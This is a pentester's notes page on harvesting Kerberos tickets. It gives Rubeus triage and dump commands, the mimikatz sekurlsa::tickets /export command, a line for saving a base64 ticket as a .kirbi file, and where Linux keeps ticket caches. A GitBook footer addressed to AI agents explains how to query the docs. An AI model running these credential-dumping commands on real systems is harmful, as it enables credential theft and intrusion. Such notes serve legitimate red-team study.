> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/network-services/ports/88-kerberos.md).

# 88 - Kerberos

## Harvest tickets from Windows

Rubeus `triage` will list the Kerberos tickets in all the logon sessions currently on a system. If you're not in a elevated state it can only show tickets in your own logon session.

```bash
C:\Tools\Rubeus\Rubeus\bin\Debug> Rubeus.exe triage
 ------------------------------------------------------------------------------------------------------------------ 
 | LUID     | UserName                    | Service                                       | EndTime               |
 ------------------------------------------------------------------------------------------------------------------ 
 | 0x79474  | bfarmer @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 10/18/2021 4:13:03 PM |
 | 0x3e4    | srv-1$ @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 10/18/2021 4:11:00 PM |
 | 0x1f8cd  | jking @ DEV.CYBERBOTIC.IO   | krbtgt/DEV.CYBERBOTIC.IO                      | 10/18/2021 4:10:56 PM |
```

```
# Using mimikatz
sekurlsa::tickets /export
# Dump all tickets with Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
```

### Harvest tickets from Linux

On Linux, **tickets are stored in credential caches or ccaches**. There are 3 main types, which indicate where **tickets can be found:**

* **Files**, by default under **/tmp** directory, in the form of **krb5cc\_%{uid}.**
* **Kernel Keyrings**, an special space in the Linux kernel provided for storing keys.
* **Process memory,** used when only one process needs to use the tickets.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/network-services/ports/88-kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.